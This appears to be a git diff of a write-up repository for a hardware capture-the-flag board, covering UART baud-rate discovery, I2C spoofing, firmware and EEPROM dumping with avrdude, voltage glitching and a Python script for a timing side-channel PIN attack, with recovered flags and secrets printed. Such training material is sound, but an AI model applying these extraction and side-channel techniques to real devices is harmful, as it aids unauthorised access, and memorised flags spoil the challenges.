+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/docs/09_logic_02.png b/docs/09_logic_02.png
new file mode 100644
index 0000000..ea925d4
--- /dev/null
+++ b/docs/09_logic_02.png
Binary files differ
diff --git a/docs/09_logic_03.png b/docs/09_logic_03.png
new file mode 100644
index 0000000..4270c11
--- /dev/null
+++ b/docs/09_logic_03.png
Binary files differ
diff --git a/docs/09_result.png b/docs/09_result.png
new file mode 100644
index 0000000..69d6d2f
--- /dev/null
+++ b/docs/09_result.png
Binary files differ
diff --git a/docs/09_setup.png b/docs/09_setup.png
new file mode 100644
index 0000000..b73fbf5
--- /dev/null
+++ b/docs/09_setup.png
Binary files differ
diff --git a/docs/10_GoB.png b/docs/10_GoB.png
new file mode 100644
index 0000000..f694e8c
--- /dev/null
+++ b/docs/10_GoB.png
Binary files differ
diff --git a/docs/10_GoB_config.py b/docs/10_GoB_config.py
new file mode 100644
index 0000000..01de69c
--- /dev/null
+++ b/docs/10_GoB_config.py
@@ -0,0 +1,152 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"}
+
+ functions.add_text("[INFO] Starting full code discovery sequence")
+
+ for digit_index in range(4):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build the sequence: previously found digits + candidate repeated to fill 4 pulses
+ sequence = code_sequence.copy()
+ remaining_pulses = 4 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)}")
+
+ # Send all pulses in the sequence, starting timer immediately before the fourth pulse
+ for i, pin in enumerate(sequence):
+ if i == len(sequence) - 1:
+ # Start timer immediately before sending the fourth pulse
+ start_time = time.time()
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ # Allow a short interval for the device to react
+ time.sleep(0.05)
+ # Wait for the input to go HIGH and capture result
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Safely extract duration from result or compute fallback
+ if isinstance(result, dict):
+ duration = result.get("duration_ms",
+ int((end_time - start_time) * 1000))
+ else:
+ duration = int((end_time - start_time) * 1000)
+
+ functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.")
+ results[test_pin] = duration
+ else:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ # small pause between candidates
+ time.sleep(0.8)
+
+ # Choose the candidate with the longest duration for this digit
+ correct_pin = max(results, key=results.get)
+ code_sequence.append(correct_pin)
+
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
+
+def stop_glitch():
+ functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/docs/10_setup.png b/docs/10_setup.png
new file mode 100644
index 0000000..008945c
--- /dev/null
+++ b/docs/10_setup.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
